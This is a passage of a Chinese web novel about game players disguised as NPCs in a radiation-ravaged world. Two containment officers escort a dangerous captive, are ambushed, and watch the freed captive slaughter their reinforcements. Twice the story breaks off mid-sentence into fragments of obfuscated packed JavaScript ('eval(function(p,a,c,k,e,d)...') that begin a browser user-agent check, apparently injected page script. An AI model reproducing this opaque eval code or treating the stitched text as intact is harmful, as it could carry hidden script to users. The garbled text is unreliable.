江其深正在对着镜子整理衣服,白色衬衫规规矩矩系到最上一颗,黑色领带搭配黑色的西装裤和皮鞋,扣上黑色的背带夹,显出劲瘦的腰身,他将袖子挽到小臂,露出流畅的手臂线条,手腕内侧浅青色血管若隐若现。 明明是同样款式的衣服,他穿得像保镖,江其深穿着,就有种模特走秀的感觉。 江其深看他没个正形,最后提醒:“武器申请了吗?” 周照山笑嘻嘻的:“申请了,这次收容的物品危险程度高,基地给我们批了最高级别的安保武器,连押送车都是三层防护,武器提前送到车上去了。” “走吧,”江其深抓起西服外套,推开宿舍门,看一眼表,大步流星向外走去,“检查装备,提前出发。” *** 周照山是玩家还是npc? 江其深坐上副驾驶,点开武器检验程序,在程序运行的空当,用余光观察周照山。 周照山坐在主驾驶的位置,调整好座椅,系上安全带,哼着小曲儿,启动了发动机。动作熟练,一气呵成。 这判断不出来什么。江其深默默想,如果他有这个世界的所有信息,也有这个身份的记忆,那么每个玩家都有。换句话说,如果玩家想躲在系统派发的身份下伪装npc,他也分辨不出来。 这就麻烦了,连队友是谁都不知道,怎么助攻啊? “武器检验完毕,防护确认完整,申请发车。”江其深按照流程点击程序,报出这句话的时候,周照山面前的驾驶程序“喀哒”一声解锁。 【收容人员身份信息确认完毕,允许发车】 “走咯走咯走咯——”周照山兴奋地一踩油门,重型卡车如同醒来的巨兽,“哧”一声喷出白气,货箱上的金色火焰盾牌的图腾亮起,车身缓缓腾空,如同低空飞翔的鸟儿滑出基地。 白日的街道空无一人,炽热的光线照耀大地,地面像浮起一层白色的油壳,反射出刺眼的光。街道和建筑都裹在这层油壳里,看不出一丝人气儿,说是没人住的空城也有人信。 自从那个天杀的外太空小行星降临蓝星,没带来世界毁灭,却带来辐射灾难之后,世界就变成了这个鬼样子。白天很少有人出门,因为白日是辐射剧烈的时候,只能等到夜晚,太阳完全从地平线后消失,辐射指数降到正常水平,人们才能出门活动。 进入公路轨道后,江其深戴上墨镜,点起自动驾驶程序。周照山解放双手,拧开一瓶饮料,递给江其深:“江哥,咱们这次押送的目的地是哪儿啊?” 江其深接过饮料喝了一大口,“赭石城收容中心。” “是不是那个建在辐射陨石上的赭石城?”周照山来了劲儿,“我在教科书上看到过,全球第一座辐射物收容中心,咱们现在用的武器、押送车,还有防辐射涂料都是他们的研究成果!我从来没去过呢!” “危险级收容物统一送到赭石城,你以后会经常去的。”江其深见他兴奋之意不似作假。 就算是装npc也不会细节到这个地步吧?应该不是玩家。 得出初步结论,江其深心情没有好多少。他并不关心押送成不成功,他只想尽快和队友们集合。但是押送任务需要7天,这7天,不出意外,他都要和周照山蜷在这辆重卡里,途径荒无人烟的城市,谁都不能接触。 7天,速度快的都能开两轮副本了。 得想个办法从押送任务里逃出去。 但问题是世界这么大,玩家就几个,就算逃出去了,要怎么才能认出队友,和队友顺利接头呢? 江其深靠在椅背上闭目养神,苦苦思索。 周照山毫无眼色,从座椅后头抽出准备好的早饭,扔给江其深一包,嘴上不停:“江哥,你说咱们晚上是歇在安城还是曲阳啊?” 江其深知道他想问什么,以他们的路线,晚上八点能到安城,凌晨三点到曲阳。如果歇在安城,意味着晚上八点左右停车休息,歇一晚上,明早天亮继续行车。 如果歇在曲阳,那就得歇到明天中午发车。省掉半天晒太阳的时间。虽说他们防辐射的装备齐全,但太阳底下活动,一点辐射照不到是不可能的,周照山这么问,就是想歇在曲阳,避开半天阳光,多少能躲点辐射。 “白天人少,行车安全。”江其深 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等级提升之后,能解锁的食物品种也变多了。江其深兜里还有点积分,就是买了不知道怎么和周照山交代大家都搞不到食物,他是从哪儿搞来的?吃独食——他又不好意思,怎么说也是自己手下的实习生,有好吃的不分一口,说不过去。 他还是不习惯把游戏npc当成数据,哪怕亲眼看见许枫在自己面前化成一团代码,他也下意识地把他们当成和自己一样的人。加上游戏副本植入的记忆加持,江其深甚至对周照山生出亲近之意,好像他们真是一同经历出生入死的战友。 这是之前的副本没有过的。 “我这还有一点之前攒的零嘴,”江其深把之前囤的巧克力拿出来,扔两块给周照山,“你也多吃点,填一填。” “哇巧克力——!!你从哪搞来的这种好东西?!!江哥、不!义父!!我以后就是你最忠实的走狗!!!”周照山“嗷”一嗓子差点给江其深震聋,捧着巧克力眼泪汪汪。 “……狗不能吃巧克力。” “狗不吃我吃。”周照山两下拆开包装纸,一口吞掉,幸福得头顶开花。 这人对游戏系统的包装纸毫无反应,不像玩家。江其深也撕开一块巧克力,一口咬掉半块。 “另一块我要留我死之前吃,”他郑重地把巧克力贴着胸口最里层的衬衫口袋放好,“死之前舔一口都能瞑目了。” 有这么夸张吗?江其深嘴角抽搐:“你别给攒过期了……” “不会的,”周照山嘴巴一咧,笑起来,露出一口干净漂亮的牙齿,“咱们这行哪有寿终正寝的,指不定我的保质期比它还短呢。” 江其深喉咙忽然堵了一下,咽了咽,没出声。嘴里的巧克力有点发苦。 车子行进了一个白天,期间两人拆了六袋车上的储备粮,都是三明治、面包、饭团一类的东西,还没巴掌大,多吃一口就没了,江其深想着商城里的热盒饭,吃的兴致缺缺。 一直开到夕阳西下,半个太阳落入地平线,炽盛的阳光收敛到地球彼端,半边天空染上静谧的深蓝,蓝色渐变为薄荷绿,又渐变为金,再到浓郁的橙红,烂漫地涂抹于天际。 燥热的空气凉快下来,建筑的阴影里出现人活动的迹象。街角零散几个灯牌亮起来,假寐一整的城市打了个哈欠,要苏醒过来。 “在前边停一停,”江其深忽然开口,“后头有尾巴跟上来了。” *** “后头有尾巴跟上来了。” “你去处理。”府乐天头都没抬,“别留痕迹。” “我说,”提醒的人双手抱臂,侧靠在门边,‘你专心致志干什么呢?你从《小镇诡事》的本出来就不对劲了。上个任务做到一半,把我一个人晾副本里,干嘛去了?” 府乐天关掉江其深的聊天记录,没有回消息,“抓黑玩,我上报过系统了。” 女人继续追问:“你的意思是你跟着我正出着任务呢,突然灵光一现预感到隔壁副本要出黑玩,于是中途离开出了个警,杀了黑玩之后又回来继续干活?府乐天,你拿我当傻子啊?” “青化香,你的事我不追问,我的事你也别管。我以为这是我们之间的默契。” 青化香翻了个白眼,长长烟杆往墙面一磕,砸出一个小坑,她悠悠吐出一口烟,烟雾触地化成无数青蛇,向四周无声游去,几秒之后,激烈的打斗声从四周传来。 她掀起眼皮,眼尾一抹青色没入鬓角,“谁想管你?我只是怕你又整出上次零日重启那样的事儿……连累所有监察不说,我可不想再捞你一回了。说吧,又找到哪个冤大头替你做事了?” 远处打斗声以几声痛苦的哀嚎作结,四周再度安静下来,府乐天轻轻一笑,面上有温驯的乖巧:“怎么会?同样的错误,我不会犯第二次。” “最好是这样,”青化香轻抚盘发,青黑的流苏自发簪顶端垂下,一晃一晃,转身离去前,女人的眼底闪过一道蛇般的魅光,巧笑倩兮,“否则,别怪我翻脸无情了哟。” 15. 第 15 章 有尾巴跟上来了?周照山吃饭团的动作一噎,立刻点击操作台,切换成半自动驾驶模式,目光紧紧锁住后视镜。 “直走,右拐,前方八百米后掉头。”江其深有条不紊命令。 “在哪儿呢哥?我怎么没看见有尾巴啊?” 押送收容物不是个轻松活儿,不说他们车厢里那个高危货物,就是他们一身防辐射装备和武器,还有充足的补给物资,就足以让各路人等眼馋心动,被盯上属实家常便饭。周照山虽然实习没多久,处理起尾巴也已经得心应手。几下把车拐进一个宽阔的地带,周围建筑低矮,人群稀少。 周照山调慢了车速,有意放钩子引他们上来。 逐渐地,后视镜里出现一辆不起眼的小面包车,车型非常老,还带四个轮子,开起来尘土飞扬,不知道哪个博物馆撬出来的。 面包车一开始跟不上重卡的速度,等周照山降了速之后才勉强跟上,就像跟在孙子后头累得气喘吁吁的爷爷,周照山没忍住笑出声:“要不咱们就这么一路放风筝给放到收容中心得了。” 放风筝的意思是正常速度开一段,甩开距离,再慢一段,让对方追一追,等距离拉近了,再甩开,就像放风筝一样。连搞个几次,对方就会失去耐心,自己放弃。 “开这种小破车,多半是奔着物资来的平民,没必要动手。” 人在穷途末路的时候什么都做得出来,尤其在这种旧秩序全面崩塌,无人监管的混乱时代,平民走投无路了,也会对收容转运车动心思,但他们装备差、没耐心,也没有战斗素养。三五成群,一波走了下一波又来。对这种人动手属于高射炮打蚊子——小题大做。撞上了就当碰见苍蝇,赶一赶算了。 江其深收拾起吃剩的塑料袋,扔进车载垃圾桶里,目光一直锁在后视镜,“不像。” “嗯?” “车隐藏的很好,会借用建筑和人流作为掩护,还会预判路线、反绕我们,”江其深在操作面板上快速点了几下,车子进入警戒模式,车身标志灯骤然一熄,与黑暗融为一体,“平民可不会这些。” 周照山听他这么一说,也意识到了不对,调出武器。两人的臂肘以下生出一层流动的透明水膜,川流汇海般聚集于掌心,二人双双抬手,水膜瞬间凝结,化成一道黑色的半截手套,紧密地包裹五指。 这是基地研制的最新款武器“枭”,多次被吐槽看起来像手套,一点也不酷。但无法否认,它的便携性超过百分之八十的基地武器,杀伤力能排进前十,一经面世,就在收容官的爱用武器排行榜里稳坐第一。 江其深活动指节,手套表面环绕靛蓝闪电噼啪作响。他的眉眼陷在夜深重的色里,只有瞳孔浮着一点微薄的光,随着目光转移而流动。 车窗打开了一线距离,车后传来车辆急刹的尖锐声音,尘土混合烘烤的热气滚进来,江其深伸手向车窗一弹,一道细微的电流滚进夜色,以及快的速度弹向后方面包车,小团电流在空气中迅速膨胀,几个瞬息的功夫卷成排球大小,“哐当”撞向车子底盘! “砰!” 整辆车被掀飞出去,在空中翻滚了两圈,即将下坠时,车门“哗啦”一下踹开,几道身影迅疾跳出,伏入夜色。同一时间,车身涨起一圈半透明的防护罩,周照山戴手套的那只手在车窗上画着什么,最后一笔顿下,防护罩光芒大盛,刺眼的白光里反衬出五个躬身接近的身影。 为首的身影反应最快,举起一个匕首三菱刺形状的武器,狠狠掼下,尖端扎进防护罩的瞬间,尖锐爆鸣声轰然炸响在所有人的耳边,江其深立刻开启第二重防护——这群人有备而来,连他门开的车型都调查的一清二楚,那柄三菱刺是针对车型特制的武器,既然有第一重准备,就必然有第二重和第三重。 戴着半截手套的手掌在玻璃窗上重重一拍!霎时细密的雷电蛇般沿着车身窜出去,浓黑的夜被亮蓝色电光点燃一瞬,就听见几声哀嚎想起,响起肉身摔在地面的声音。 江其深在心里数着响声,倒了三个,还剩两个。 车顶传来“砰砰”两声重物落地的声音,电光石火间,周照山快速和他对视一眼,两人极为默契地同时开始动作——周照山将车速猛地拔至最高,车身疯兽一般咆哮着猛冲出去,驾驶座的两人因为惯性向后一仰,被座椅靠背稳稳托住。江其深就着半仰的姿势伸展手臂,掌心按在车顶。 下一瞬间,蓝光冲刷窄小的驾驶室,洪水般淹没二人,又在眨眼间退去,世界陷入一片寂静,爆鸣声给耳膜造成的刺痛缓慢退去,一时间只能听见窄窄的窗缝灌进的呼啸风声。 “甩掉了?”周照山张嘴活动颌骨,牵连着耳朵的肌肉,试图用这种方式缓解不适。 江其深抬头望向车顶,没听见别的动静,含糊道,“大概吧。” 一般来说,车猛地发动的惯性,应该足够把人甩下去了,何况还有电击武器配合,就是八爪鱼也该吸不住了。 但他没听到车顶有重物翻滚的声音。 周照山用余光扫了后视镜一眼,没有异样,缓缓吐出紧绷已久的气:“还学会伪装了,这帮不要脸的乌……” 最后一个“鸦”字淹没在滔天爆炸声里。 *** 二十年前,一颗小行星从外太空不远万里登门拜访,给蓝星砸出一个巨坑的同时,也带来了全球级别的辐射灾难。一夜之间,所有人类在没有任何准备的情况下遭遇了第一轮辐射冲击。 三分之二的人口因辐射造成的变异疾病中痛苦死去。剩下的这部分人,则分化成两种类型。 第一种,人们称他们为“骑士”,这种人堪称命运的宠儿,他们不仅扛过了这次辐射,还在辐射中进化了体质,拥有辐射病的“抗体”。 没人能解释清楚这种现象的具体成因,人类在未知的自然面前总是显得被动。根据目前研究得到的结论,只能知道这种“抗体”不是对所有辐射病都百分百免疫,虽然这样已经令很多人艳羡不已了。 基地利用骑士的这种特质,创办骑士学院,专门培养此类素质的人从事和辐射相关的工作,比如辐射武器研究、抗辐射原理研究、辐射病研究,或者像江其深他们一样,成为收集辐射物并将其押送收容的收容官。立志为人类彻底解决辐射问题,促使世界回归辐射前的秩序。 而第二种人,人们称之为“乌鸦”,乌鸦是不幸患上辐射病,却不仅没死,反而因此获得特异性变异的人群。他们的身体呈现出兽化的形态,变异出超乎常人的力量,他们将自己称为天选之子,认为辐射是一次全球范围的生物筛选,是自然的优胜劣汰,目的就是挑选出和他们一样能够与辐射共存,在辐射中进化的新人类。 他们坚定认为自己才是蓝星的未来主宰。推崇辐射,并人为制造了第二次和第三次辐射危机,使全球人口几度锐减。 乌鸦制造辐射危机的方式简单粗暴,就是收集各种高辐射的辐射物,人为制造新的辐射源。因此,他们四处搜罗辐射物。 好巧不巧,这和基地的收容计划相冲突。为了给辐射研究计划提供更多的试验材料和样本,基地也在全球范围四处搜集辐射物。双方就像争抢着一块肉的两头狼,每次冲突都是你死我活。 作为基地收容官,主要负责危险辐射物的收容转运,被乌鸦盯上算是家常便饭了。江其深拥有这个世界的全部记忆,也知道这个身份在之前的收容任务里遭遇过多么丧心病狂的攻击——但是他始终觉得,这是一个副本。 对玩家来说说,无论前情提要有多么惊心动魄,都只是游戏进行的背景板而已。重点是玩家之间的对抗,是副本任务的进度,是想法子刷npc的道具。 这是他在爆炸之前的想法。 直到被猛烈气流掀起,又被安全带勒着摔回座位,窗外景色在冲天的火光中翻腾,安全气囊突到脸上的那一刻,江其深在心里骂了一句极难听的话,随即意识到一个问题——不仅仅是玩家可以杀他,也不只有boss可以杀他,任何一个npc都能杀他。 他的处境比预计的更加危险。 重型卡车轰然坠地,江其深的五脏六腑都被狠狠砸进座椅里,一口腥血涌到喉头,被他硬生生咽了下去,他眼前一片漆黑,不是因为夜晚太黑,因为他听见大火“哧啦”一声窜起,高温烧灼皮肤传来剧痛——只能因为失明。 管不了暴不暴露了,江其深敏捷地从储物背包里翻出药水,自己当即灌下一瓶,另一瓶往周照山叫唤的方向扔去。 视线瞬间恢复,火辣辣的胸腔涌起清泉般滋润的清凉,他撑起身子硬生生从被挤扁的驾驶舱里爬出来,半个身子刚得自由,一声“喀哒”瞄准他的脑袋。 他缓慢抬起眼,瞳孔中火光跳跃,倒映一个熟悉的身影。 身影整个身子包裹在严密厚实的战斗服中,来自这个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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霎时间,世界被蓝红二色淹没,强烈的色彩冲刷人的视网膜,给人造成失明的错觉,剧烈的轰击带着同归于尽的气势,江其深听到周照山怒吼:“乌鸦跑了!” 江其深一个用力将自己从废墟里拔出来,太阳穴被轰得突突直跳,自己的呼吸打雷一样砸在耳膜上,肺部的气息像被抽干了。他心里却是波澜不惊,他心想跑就跑了吧,眼前敌我未分,不一定是损失。下次打照面前,得想办法分清阵营。 时光显然也是这么想的,在周照山怒吼的前一秒,一块硬物塞进江其深没怀里,他缓了缓眼睛,低头看去,是一块手表样式的通讯器。 与府乐天的情况不同,玩家与玩家在副本内无法通过好友列表发送消息,只能使用有传讯功能的道具,像巨斧男人的耳机,或者这块手表,都是游戏里常见的通讯工具,由玩家改造商城的商品而成,不说商品的本价,单加工费便价格不菲。 不过,既然是玩家自己改造,功能也是私人定制的。江其深毫不怀疑这块表还有定位和爆炸的功能,一旦时光确定自己不是队友后,这个通讯工具就能摇身一变,成为让他身首异处的罪魁祸首。 他想了想,没有带上表,谨慎地放在了西装兜里,脱下西装搭在臂弯。低头向脚下看去。 他踩着的驾驶室扁成一团,整辆车爆成一辆废铁,只能看出是个车的轮廓。周照山站在车尾,头发被夜风吹得蓬乱,望着乌鸦逃走的方向,脸上还有愤愤之意。 远处,公路蜿蜒消失在夜色中,四周荒寂无人,风声呜咽着穿过废弃建筑和半人高的荒草地,四野仿佛潜藏无数魑魅徘徊巡走。 “她们还会再来的。车子有自动警报系统,遭到攻击会自动上报给距离最近的基地。咱们原地等支援吧。”江其深成废弃的驾驶室里奋力拽出补给箱,箱子毁得惨不忍睹,他撬开箱门,扒拉里边的食物。 食物黏糊成一团,江其深的心在滴血。不爱吃是一回事,真吃不着了,他就要掂量一下自己的积分够在商城吃喝几顿的了。 别人的积分不是用在道具上就是用来交易情报,他可好,全拿去买吃的了。 “江哥,钥匙在你那吗?”周照山的声音再度从车后响起。 他们押送的物品里外上了三重防护,虽然车子遭到连番攻击,被炸了个稀巴烂,但是最里层的防护依旧坚不可摧。这是对收容物的最后一层保护,也是最坚固的限制,唯一的钥匙掌握在主收容官江其深手里,只要他不打开,收容物永远不会再见天日。 “在,怎么了?”江其深正算钱呢,忙得头也不抬。 “你要不过来看一眼?”周照山的声音隐隐有些发抖,“我……我怎么觉得,这里头有心跳声呢?” 16. 第 16 章 江其深走车后,转运车原本三重防护,此时只剩最里边一层内胆,外表呈现光滑宛如鸡蛋壳的质感,找不到一丝突破的缝隙。 他上前一步,失去外层隔绝之后的转运仓与他们仅仅一壁之隔,他将耳朵附上去,听见内里传来“砰、砰、砰”的声音。 坚定、沉稳,有如擂鼓,或者人的心跳。 其实江其深和周照山并不清楚自己运送的是什么货物。货物在交到他们手上前就已经被封进转运舱,他们将车送到收容中心后,也是由中心的收容官对接、收押、储存。如果不出意外,他们全程都会和货物隔着一个驾驶舱的壁。,没有机会知道一墙之后藏着什么东西 说白了,在整个收容过程里,他们主要起到一个保镖和司机的作用,除此之外,不负责其他。 “我记得在车上的时候没听见这声音呢……该不会是货物被炸坏了吧?”周照山惴惴不安,“怎么办啊哥?要不要打开检查一下?” 江其深无语地瞪他一眼:“这是高危级别的辐射物,就算我们是骑士,也不是百分百免疫辐射,打开它是怕自己死的太慢吗?” “那、那怎么办啊?”周照山紧张得原地踱步,“万一收容物有问题,不会开除咱俩吧?坏了坏了,那我下半辈子可怎么过……” “怎么会……”等副本一结束你又是一条好汉,不存在下半辈子。这个念头冒出的一瞬间,王苏的话重现脑海—— “……这是我们过的第三百七十二个高二暑假了,等那些玩家通关离开后,我们会开始第三百七十三个高二暑假。我们的真实寿命只有副本开放的这十五天。除此之外,你的记忆、我的记忆,都是系统植入的信息而已。江其深,我们都是假的。” 他好像忽然意识到什么,那苍凉的可能性已经呼之欲出,却因为主人不愿意承认,而按回海底之下,维持着表面的波澜不惊。 喉结滚了滚,江其深道,“最多领个处分吧,事儿是乌鸦干的,车也是乌鸦炸的,冤有头债有主,基地犯不着跟我们这些小小的收容官过不去。只要我们不做多余的事……” 他说完抬脚要走,听得收容舱壁传来更加激烈的一声“砰!” 这次不需要贴着内胆也听得见,声音震碎烧脆的货车外壳,震落一地黑色粉尘,两人不约而同向后退了几步。 沉寂几秒,转运舱爆发出更激烈的撞击声。 “砰!!!” 这一下好像要把整个内胆撞得四分五裂,江其深清晰地看见内胆壁上渗出细密的裂纹,像冬日窗户上结出的冰纹,在下一次撞击中溃然迸开! “嗤——” 浓郁的白气从裂缝中渗透出来,江其深躲闪不及,白气当面扑来,一时间他的半张脸被冻得失去知觉,眼珠一片雾朦,喉咙因为不小心吸进去的气冻得出了血,呛咳出浓重的腥甜。 “江哥!!” 周照山因为离裂隙较远,得以反应过来,一把拽住江其深的胳膊向后一滚,下一刻,内胆彻底碎裂! 支离破碎的垮塌声中,浓郁的冷烟扑向四面八方,袅袅消散于夜空,周围的热气被冷冻的白气瞬间吸收,温度骤降。 “咳……” 碎壳里传来艰难的咳嗽声,声音断断续续,间夹几声轻呸,像是咳出了冰渣。 “请问……” 冷冻的白气中走出一个年轻人,他一头白发,发梢带着刚睡醒没梳的那种卷儿,睫毛和嘴唇上沾着白色的冰霜,脸色因为长时间冷冻而显得苍白,眼睛半张不张,整个人看起来丧丧的,很提不起来劲儿。声音微哑。 江其深留意到他穿着白色拘束服,看起来像是精神病院患者会穿的那种,绑带被暴力扯破,垂搭下来,像是衣服的装饰。 他又清了清嗓子,冻僵的咽喉肌肉恢复知觉,声音也更清晰,态度甚至称得上礼貌:“你好,请问……副本进行到哪儿了?” 江其深蓦地抬头。 年轻人环顾四周,见周围只有两个人,皆是神情震惊,没答他的话,疑惑地歪一下脑袋:“还是说……你们都是npc?” *** 同一时刻,四条街道以外的居民区,两个少女穿梭过拥挤的人潮和不息的车流,熟练地钻进霓虹灯找不到的晦暗小巷,七拐八拐,人流逐渐稀少,她们进入一条废弃地铁站改造的地下街区。 “劫车失败,收容官的援军很快会到,我们不方便再出手了。”田卓佳脱下厚重的作战服,随意丢在街区角落,立刻有闪着绿灯的机器人上前回收。 时光调整腕表,看见定位点闪着红光,道,“援军不会太多的,前几天总部上层刚对附近的几个收容基地进行突袭,重创骑士,这附近的基地没剩多少力量了,不然也不会就派两个人押送收容物。我们还有机会。” 田卓佳用余光瞥了她的腕表一眼,把厚实的长发扎了起来,露出后背被汗渍浸湿一片的衣衫,在空调口乘凉,“那一仗打的,收容官是损失很大,乌鸦的人也折损不少。不知道掉队的那几个回来了么。” 她说的是劫车时被甩下去的那几个乌鸦,时光没有留意,那些人的身手太弱了,完全不像A级玩家,她根本不放眼里。 副本的参与玩家共有六人,算上她和江其深,还有四人。 她目光不经意地滑过田卓佳的后背,衣衫干的差不多了,为了凉快,她把袖子撸到肩膀,露出流畅但不夸张的肌肉线条。她的整条右臂延续到右颊的肌肤覆满羽毛般的伤痕,这是乌鸦的标志,所有从辐射病中蜕变的人身上都会留有这种痕迹,时光的手臂和后背也是如此。看起来就像身负血肉羽翼一般。 时光移回目光。在游戏给她的信息里,田卓佳是个畏畏缩缩、有些胆小的姑娘。但是今晚的突袭行动里,田卓佳一马当先,出手和撤退都十分果断,身手相当利落,对收容物志在必得。 “谁知道,连车都跟不上的废物,死了就死了。” 她顿了顿,故意把表盘拆下来,放在手里把玩,表针滴滴答答转动的声音在寂静的地下街区分外清晰,一格一格、压着人的心跳前进。但是自始至终,田卓佳浑然未觉,甚至没有抛过来一个眼神。 时光在心里笑了一下。 有点装过头了吧?如果真是不认识通讯仪的npc,反而应该好奇地问这是什么东西才对。这样讳莫如深,反而坐实了玩家的嫌疑。 她听见田卓佳兀自道:“这么说,你打算放弃这个收容物了?” 说完,她顿了一顿,微微侧过来一点脸,又没有正视时光。 摩娑把玩着圆润的金属表盘,时光静待几秒,忽然开口:“那种废物带上也会碍手碍脚,还不如就你跟我,我们两个人找一辆空轨车,等他们出了城,再反绕打埋伏,胜算更大。” 收到答案,田卓佳忽然转过头,“打埋伏?在哪?他们受到袭击肯定会改换路线,我们都不知道他们会从哪走。” 时光堂而皇之地拿起表盘,贴到田卓佳的眼前,交错的时针与分针之下,一点红光烁烁闪动。 她没有错过田卓佳脸上任何一丝细微的表情变化。眸中踊跃起兴奋的光,像一个期待着拆开礼物的孩子:“这个通讯仪有个配套的定位器,我塞在了一个收容官身上,无论他们选哪条路线都躲不掉我们的追踪。这个收容物我是一定要截下来的——无论付出什么代价。” 田卓佳的表情微微松动。 *** 227号收容物:咒。 危险程度:特级。 江其深记得收容单上这样写着。 面前的特级危险收容物偏过目光,环视四周,兴致缺缺。从废墟上一跃而下,扬尘四起,周照山应激地后撤一步,没有轻举妄动。 年轻人的皮肤上还包裹着一层未化的冰霜,随着他的动作簌簌掉落,他语气懒散,嘟囔埋怨:“嘶…冻死了,怎么出生在冰柜里,……啊,我是不是被抓了来着?” 他转过头问江其深,江其深目光警惕,没有回答,于是年轻人挠挠头,继续自言自语:“看起来是的……你们要把我送去收容中心?” 话音刚落,夜色中冲出七八辆辆装甲防暴空轨车,掠起的风迎面重重拍来,打得江其深一个猝不及防,车子一个急刹,刺耳的刹车声贯穿天际! “收容物227号逃脱!” 车门“哐哐”弹开,全副武装的人影弹下车,枪口齐刷刷抬起,是附近基地分部的援军赶到,江其深还没来得及松口气,就见白发年轻人一脸不高兴: “我不叫227号,我叫方游一……算了,和你们这些npc说什么呢。” 说着,他摸了摸眉骨,一副很伤脑筋的样子:“可不是我要动手的……你们拿枪指着我啊。” 江其深心脏咯噔一下,大脑甚至来不及建立起详实的思路推测,凭借野生动物一般对危险的本能预感,几个跨步上前猛地扯过周照山后襟,两人就地翻滚,同时,周围的空气发生了变化! 好像有一种诡异的凝胶注入空气,所有人的动作变得迟缓,空气中的每粒微尘都如泡在福尔马林中的标本,每个人脸上的表情都被放慢到极致,好像一场电影点了慢速播放,画面之中,只有一个人行动如常。 是方游一。 他吐出舌尖,殷红的舌面上诡异的咒印倏忽流动。粘稠的空气迸发出剧烈心跳,好像此方天地都被困在某个透明巨兽的心脏中,古老而惊怖的擂鼓声洪涛般从四野八方涌来,压得人胸膛都要炸开。 方游一的喉咙里发出“嗤嗤”闷响,忽然肩背抽搐,下巴像被一只虚空中的巨手攫起,身体缓慢抬高,浮到空中,身体反弓,脚尖勉强触地。 接着,让所有人不敢置信的一幕出现了。 方游一的嘴巴越张越大,喉咙“咔”地向后弯折,整个人面朝苍穹,喉咙里飘出一丝虚影。 影子最开始只有一线,探出嘴巴的瞬间极速膨胀,扩张为一只面目狰狞的影兽,庞大身形像是强力手电照出的巨大光圈,它努力拱起山一样的脊背,爪子从方游一的嘴巴里伸出,抓住他的面颊,从他口中缓慢地爬了出来。 狰狞的兽瞳陡然睁开! “噗咳——咳咳、咳……” 影兽脱出的瞬间,方游一重新落地,他好像用尽了全身力气,比之前颓废的模样更加虚弱,脸色苍白的像鬼,剧烈喘咳得话也说不完整,伸出手臂,向着那些车辆虚虚一指,轻描淡写: “……去。” 影兽暴起!如裁纸刀般杀破凝固的空气,霎时所有凝滞骤然一松!所有人的行动重新恢复正常,江其深勾着周照山的脖子双双装上报废的转运车,撞的眼冒金星,全副武装的援兵立刻扣动扳机,子弹如雨倾泄! 影兽的身形一闪,好像虚晃了一下,子弹扫射的声音同时停住。只见车灯发射的光线好像被烫弯了一样,扭曲了一瞬,等再度绷直时,所有持枪的援兵像是一张被裁开的纸,自腰间缓缓滑成两截。 浓腥的血气铺天盖地,如厚重的毛毯压得人喘不过气。 死亡的恐惧如利刃抵在喉间,江其深咽下喉咙里崩溃欲哭的尖叫,脑子像上了锈的机器,每运转一分就发出吱嘎刺耳的声音。 正面对抗吗?我有道具,有技能,有收容武器,未尝没有一战之力。但是正面对抗是最差的办法,方游一实力强横,手里不知还攥着什么道具,就算能送走他,自己也得受伤。 算时间,时光可没走远,万一螳螂捕蝉黄雀在后,这一把就亏大了。 他屏住呼吸,躲在车后,正在思考对策,觉得视觉一暗。 仰起头,一直庞大的影子从他头顶盖下来,影兽贪婪的目光流过他全身,张开嘴,浓重的血腥气熏得人直欲作呕。 另一个白脑袋从影兽旁探出头:“啊,我就说少了两个……躲在这儿呢。” ……艹。 江其深心里一沉,连脸色都在骂人。方游一好似看不出来,手肘一撑,托起下巴,趴在废车车顶:“你们这么怕死啊?” 周照山突然卖力用力一推江其深,一脸慷慨赴死:“江哥你快跑!我拖住他!!” 江其深猝不及防被推的一个踉跄,听头顶“噗嗤”一声笑,方游一笑了起来,脸颊浮一个酒窝:“我有这么恐怖么?” 江其深按住周照山的手,没有跑,冷静问道:“你想做什么?” “你们是要带我去收容中心吧?” 江其深舔了舔嘴唇,压下心里的紧张:“对。” “哪个收容中心?” “赭石城。” “哦——”他拉长声音,想了想,“我记得赭石城是所有收容中心的中央枢纽,防卫森严 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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一旁的防爆空轨车里,传来对讲机的呼叫,基地指挥人员重复询问着现场情况,江其深示意周照山帮方游一重回收容装置,落上三重防护。自己拿出车里的对讲机,“乌鸦逃逸,收容物227号重新装车,支援人员全部牺牲,收容官江其深、周照山继续沿线路出发。” 基地的对讲机陷入沉默,短暂寂静后,传回回答:“了解。” 江其深放下对讲机。他在心里轻声告诉自己,等游戏结束了,这些人又会活过来,他们连曾经死去的记忆都不会有……只是npc而已。 幸好他们只是npc。 新的收容车和炸毁的那辆是一个型号,但是车上没有补给,或许是出发太匆忙,没来得及准备。江其深检查了一下,道:“经过下一个基地的时候咱们得停车补充下补给。” “好的哥,”周照山点开地图,切换路线,“最近的基地距离四十分钟,现在过去吗?” “过去吧,什么东西在响?” 周照山一脸茫然,“有什么在响吗?” 江其深寻着声音来源翻找,发现是西装外套里的腕表,是通讯装置的信息提示音。 表盘上停着一条消息,没有发送人的姓名,但能发来信息的,只有一个人。 【路过泉鸣城的时候停一停】 泉鸣城是赭石城最近的一站,人流量大,地形复杂,三教九流汇聚一处,常有抢劫偷盗一类的事情发生,为保证押送安全,江其深不计划在泉鸣停留。 【干什么?】 【劫个车】 【???】 【怎么了?你不愿意?】 我干嘛要配合你!!!字打到手边,忽然停住。 时光莫名其妙跟他说这个是什么意思?真想劫车,直接劫不就行了?还需要提前和他打招呼?她什么时候这么善良乖巧有礼貌了? 江其深眉头紧皱,思来想去,只想到一个结论——她在试探。 时光不会做无意义的事。她这么问,或许是想知道江其深对“劫车”的态度,或者是对“收容物”的态度。 这么说来,她应该是获得了什么信息,她想借“劫车”这件事,试探江其深是否真心想要护镖,借此判断江其深的立场和她是否一致。 可是收容物也是玩家啊!什么样的立场会让玩家争夺玩家? 江其深脑子有点乱,他冷静下来,把输入的字一个个删掉。空白输入框良久沉寂。 不能乱,重新梳理一遍……以目前的线索,无法直接推测出他们的任务目标,所以先不必要猜测任务,换个思路,想回答这个问题,也可以根据他们的行动推测他们的立场。游戏有六个玩家,两个立场,也就是三个玩家为一队。 